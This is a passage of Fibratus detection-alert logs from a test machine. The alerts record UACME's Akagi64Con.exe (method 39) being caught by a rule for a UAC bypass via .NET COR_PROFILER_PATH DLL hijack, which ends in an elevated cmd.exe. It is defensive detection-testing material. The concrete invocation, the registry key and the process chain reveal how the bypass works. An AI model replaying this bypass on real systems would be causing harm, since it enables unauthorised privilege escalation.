Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin windir:C:\WINDOWS] + + + + Seq: 93192 + Pid: 7312 + Tid: 12680 + Type: CreateProcess + CPU: 2 + Name: CreateProcess + Category: process + Description: Creates a new process and its primary thread + Host: archrabbit + Timestamp: 2025-12-01 17:34:49.2553509 +0100 CET + Params: cmdline➜ "C:\WINDOWS\system32\cmd.exe", directory_table_base➜ 452358000, domain➜ ARCHRABBIT, exe➜ C:\WINDOWS\system32\cmd.exe, exit_status➜ Success, flags➜ , kproc➜ ffff8080041f3080, name➜ cmd.exe, pid➜ 5960, ppid➜ 7312, real_ppid➜ 7312, session_id➜ 1, sid➜ S-1-5-21-2271034452-2606270099-984871569-1001, start_time➜ 2025-12-01 17:34:49.2553013 +0100 CET, token_integrity_level➜ HIGH, token_is_elevated➜ true, username➜ nedo + Metadata: rule.seq.link: 2772249460329312528, rule.name: UAC bypass via .NET Code Profiler DLL Hijack, tactic.id: TA0004, tactic.name: Privilege Escalation, tactic.ref: https://attack.mitre.org/tactics/TA0004/ + + Pid: 7312 + Ppid: 3816 + Name: mmc.exe + Parent name: Akagi64Con.exe + Cmdline: "C:\Windows\System32\mmc.exe" eventvwr.msc + Parent cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 39 + Exe: C:\Windows\System32\mmc.exe + Cwd: + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Windows\System32\mmc.exe" eventvwr.msc] + Session ID: 1 + Envs: map[] + + + source=action/alert.go:37 +time=2025-12-01T17:35:05+01:00 level=info msg=sending alert: [UAC bypass via .NET Code Profiler DLL Hijack]. Text: Event(s): + Seq: 95175 + Pid: 3204 + Tid: 11872 + Type: RegSetValue + CPU: 2 + Name: RegSetValue + Category: registry + Description: Sets the data for the value of a registry key + Host: archrabbit + Timestamp: 2025-12-01 17:35:04.8254648 +0100 CET + Params: data➜ C:\Users\nedo\AppData\Local\Temp\pe386.dll, key_handle➜ ffffb387b28a1ba0, key_path➜ HKEY_CURRENT_USER\Environment\COR_PROFILER_PATH, status➜ Success, value_type➜ REG_SZ + Metadata: rule.seq.link: 2772249460329312528, rule.name: UAC bypass via .NET Code Profiler DLL Hijack, tactic.id: TA0004, tactic.name: Privilege Escalation, tactic.ref: https://attack.mitre.org/tactics/TA0004/ + + Pid: 3204 + Ppid: 8360 + Name: Akagi64Con.exe + Parent name: powershell.exe + Cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 39 + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Cwd: C:\Fibratus\redteam\UACME\Source\Akagi\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 39] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT CONDA_PROMPT_MODIFIER:False ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommandPromptType:Native CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DevEnvDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\ DriverData:C:\Windows\System32\Drivers\DriverData EXTERNAL_INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt ExtensionSdkDir:C:\Program Files (x86)\Microsoft SDKs\Windows Kits\10\ExtensionSDKs Framework40Version:v4.0 FrameworkDir:C:\Windows\Microsoft.NET\Framework\ FrameworkDir32:C:\Windows\Microsoft.NET\Framework\ FrameworkVersion:v4.0.30319 FrameworkVersion32:v4.0.30319 GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt JAVA_HOME:C:\Program Files\Jdk11 LIB:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files (x86)\Windows Kits\10\lib\10.0.22621.0\ucrt\x86;C:\Program Files (x86)\Windows Kits\10\\lib\10.0.22621.0\\um\x86 LIBPATH:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86\store\references;C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0;C:\Windows\Microsoft.NET\Framework\v4.0.30319 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY;.CPL POSH_GIT_ENABLED:False POSH_THEME:C:\Posh-Themes\spaceship.json POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes POWERLINE_COMMAND:oh-my-posh PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PROMPT:$P$G PSModulePath:C:\Users\nedo\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\bin\HostX86\x86;C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\\x86;C:\Program Files (x86)\Windows Kits\10\bin\\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\\MSBuild\Current\Bin\amd64;C:\Windows\Microsoft.NET\Framework\v4.0.30319;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp UCRTVersion:10.0.22621.0 USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo UniversalCRTSdkDir:C:\Program Files (x86)\Windows Kits\10\ VCIDEInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\VC\ VCINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\ VCToolsInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\ VCToolsRedistDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Redist\MSVC\14.36.32532\ VCToolsVersion:14.36.32532 VS170COMNTOOLS:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\ VSCMD_ARG_HOST_ARCH:x86 VSCMD_ARG_TGT_ARCH:x86 VSCMD_ARG_app_plat:Desktop VSCMD_VER:17.6.4 VSINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\ VisualStudioVersion:17.0 WSLENV:WT_SESSION:WT_PROFILE_ID: WT_PROFILE_ID:{61c54bbd-c2c6-5271-96e7-009a87ff44bf} WT_SESSION:e1a7ab5e-85bc-405d-abfb-e733129bd8b2 WindowsLibPath:C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0 WindowsSDKLibVersion:10.0.22621.0\ WindowsSDKVersion:10.0.22621.0\ WindowsSdkBinPath:C:\Program Files (x86)\Windows Kits\10\bin\ WindowsSdkDir:C:\Program Files (x86)\Windows Kits\10\ WindowsSdkVerBinPath:C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\ _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols __DOTNET_ADD_32BIT:1 __DOTNET_PREFERRED_BITNESS:32 __VSCMD_PREINIT_PATH:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin windir:C:\WINDOWS] + + + + Seq: 95626 + Pid: 9408 + Tid: 9484 + Type: CreateProcess + CPU: 2 + Name: CreateProcess + Category: process + Description: Creates a new process and its primary thread + Host: archrabbit + Timestamp: 2025-12-01 17:35:05.4684975 +0100 CET + Params: cmdline➜ "C:\WINDOWS\system32\cmd.exe", directory_table_base➜ 3662eb000, domain➜ ARCHRABBIT, exe➜ C:\WINDOWS\system32\cmd.exe, exit_status➜ Success, flags➜ , kproc➜ ffff8080040ef080, name➜ cmd.exe, pid➜ 12108, ppid➜ 9408, real_ppid➜ 9408, session_id➜ 1, sid➜ S-1-5-21-2271034452-2606270099-984871569-1001, start_time➜ 2025-12-01 17:35:05.4684515 +0100 CET, token_integrity_level➜ HIGH, token_is_elevated➜ true, username➜ nedo + Metadata: rule.seq.link: 2772249460329312528, rule.name: UAC bypass via .NET Code Profiler DLL Hijack, tactic.id: TA0004, tactic.name: Privilege Escalation, tactic.ref: https://attack.mitre.org/tactics/TA0004/ + + Pid: 9408 + Ppid: 3204 + Name: mmc.exe + Parent name: Akagi64Con.exe + Cmdline: "C:\Windows\System32\mmc.exe" eventvwr.msc + Parent cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 39 + Exe: C:\Windows\System32\mmc.exe + Cwd: + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Windows\System32\mmc.exe" eventvwr.msc] + Session ID: 1 + Envs: map[] + + + source=action/alert.go:37 +time=2025-12-01T17:35:21+01:00 level=info msg=sending alert: [UAC bypass via .NET Code Profiler DLL Hijack]. Text: Event(s): + Seq: 97198 + Pid: 7300 + Tid: 5888 + Type: RegSetValue + CPU: 2 + Name: RegSetValue + Category: registry + Description: Sets the data for the value of a registry key + Host: archrabbit + Timestamp: 2025-12-01 17:35:19.8098508 +0100 CET + Params: data➜ C:\Users\nedo\AppData\Local\Temp\pe386.dll, key_handle➜ ffffb387b28a1ba0, key_path➜ HKEY_CURRENT_USER\Environment\COR_PROFILER_PATH, status➜ Success, value_type➜ REG_SZ + Metadata: rule.name: UAC bypass via .NET Code Profiler DLL Hijack, tactic.id: TA0004, tactic.name: Privilege Escalation, tactic.ref: https://attack.mitre.org/tactics/TA0004/, rule.seq.link: 2772249460329312528 + + Pid: 7300 + Ppid: 8360 + Name: Akagi64Con.exe + Parent name: powershell.exe + Cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 39 + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Cwd: C:\Fibratus\redteam\UACME\Source\Akagi\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 39] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT CONDA_PROMPT_MODIFIER:False ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommandPromptType:Native CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DevEnvDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\ DriverData:C:\Windows\System32\Drivers\DriverData EXTERNAL_INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt ExtensionSdkDir:C:\Program Files (x86)\Microsoft SDKs\Windows Kits\10\ExtensionSDKs Framework40Version:v4.0 FrameworkDir:C:\Windows\Microsoft.NET\Framework\ FrameworkDir32:C:\Windows\Microsoft.NET\Framework\ FrameworkVersion:v4.0.30319 FrameworkVersion32:v4.0.30319 GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt JAVA_HOME:C:\Program Files\Jdk11 LIB:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files (x86)\Windows Kits\10\lib\10.0.22621.0\ucrt\x86;C:\Program Files (x86)\Windows Kits\10\\lib\10.0.22621.0\\um\x86 LIBPATH:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86\store\references;C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0;C:\Windows\Microsoft.NET\Framework\v4.0.30319 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY;.CPL POSH_GIT_ENABLED:False POSH_THEME:C:\Posh-Themes\spaceship.json POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes POWERLINE_COMMAND:oh-my-posh PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PROMPT:$P$G PSModulePath:C:\Users\nedo\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\bin\HostX86\x86;C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\\x86;C:\Program Files (x86)\Windows Kits\10\bin\\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\\MSBuild\Current\Bin\amd64;C:\Windows\Microsoft.NET\Framework\v4.0.30319;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp UCRTVersion:10.0.22621.0 USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo UniversalCRTSdkDir:C:\Program Files (x86)\Windows Kits\10\ VCIDEInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\VC\ VCINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\ VCToolsInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\ VCToolsRedistDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Redist\MSVC\14.36.32532\ VCToolsVersion:14.36.32532 VS170COMNTOOLS:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\ VSCMD_ARG_HOST_ARCH:x86 VSCMD_ARG_TGT_ARCH:x86 VSCMD_ARG_app_plat:Desktop VSCMD_VER:17.6.4 VSINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\ VisualStudioVersion:17.0 WSLENV:WT_SESSION:WT_PROFILE_ID: WT_PROFILE_ID:{61c54bbd-c2c6-5271-96e7-009a87ff44bf} WT_SESSION:e1a7ab5e-85bc-405d-abfb-e733129bd8b2 WindowsLibPath:C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0 WindowsSDKLibVersion:10.0.22621.0\ WindowsSDKVersion:10.0.22621.0\ WindowsSdkBinPath:C:\Program Files (x86)\Windows Kits\10\bin\ WindowsSdkDir:C:\Program Files (x86)\Windows Kits\10\ WindowsSdkVerBinPath:C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\ _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols __DOTNET_ADD_32BIT:1 __DOTNET_PREFERRED_BITNESS:32 __VSCMD_PREINIT_PATH:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin windir:C:\WINDOWS] + + + + Seq: 97649 + Pid: 15016 + Tid: 2716 + Type: CreateProcess + CPU: 2 + Name: CreateProcess + Category: process + Description: Creates a new process and its primary thread + Host: archrabbit + Timestamp: 2025-12-01 17:35:20.4599395 +0100 CET + Params: cmdline➜ "C:\WINDOWS\system32\cmd.exe", directory_table_base➜ 1ef1fd000, domain➜ ARCHRABBIT, exe➜ C:\WINDOWS\system32\cmd.exe, exit_status➜ Success, flags➜ , kproc➜ ffff8080079c9080, name➜ cmd.exe, pid➜ 14164, ppid➜ 15016, real_ppid➜ 15016, session_id➜ 1, sid➜ S-1-5-21-2271034452-2606270099-984871569-1001, start_time➜ 2025-12-01 17:35:20.4598883 +0100 CET, token_integrity_level➜ HIGH, token_is_elevated➜ true, username➜ nedo + Metadata: rule.seq.link: 2772249460329312528, rule.name: UAC bypass via .NET Code Profiler DLL Hijack, tactic.id: TA0004, tactic.name: Privilege Escalation, tactic.ref: https://attack.mitre.org/tactics/TA0004/ + + Pid: 15016 + Ppid: 7300 + Name: mmc.exe + Parent name: Akagi64Con.exe + Cmdline: "C:\Windows\System32\mmc.exe" eventvwr.msc + Parent cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 39 + Exe: C:\Windows\System32\mmc.exe + Cwd: + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Windows\System32\mmc.exe" eventvwr.msc] + Session ID: 1 + Envs: map[] + + + source=action/alert.go:37 +time=2025-12-01T17:35:31+01:00 level=info msg=sending alert: [UAC bypass via .NET Code Profiler DLL Hijack]. Text: Event(s): + Seq: 98453 + Pid: 14100 + Tid: 15696 + Type: RegSetValue + CPU: 2 + Name: RegSetValue + Category: registry + Description: Sets the data for the value of a registry key + Host: archrabbit + Timestamp: 2025-12-01 17:35:30.2113184 +0100 CET + Params: data➜ C:\Users\nedo\AppData\Local\Temp\pe386.dll, key_handle➜ ffffb387b28a1ba0, key_path➜ HKEY_CURRENT_USER\Environment\COR_PROFILER_PATH, status➜ Success, value_type➜ REG_SZ + Metadata: tactic.ref: https://attack.mitre.org/tactics/TA0004/, rule.seq.link: 2772249460329312528, rule.name: UAC bypass via .NET Code Profiler DLL Hijack, tactic.id: TA0004, tactic.name: Privilege Escalation + + Pid: 14100 + Ppid: 8360 + Name: Akagi64Con.exe + Parent name: powershell.exe + Cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 39 + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Cwd: C:\Fibratus\redteam\UACME\Source\Akagi\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 39] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming 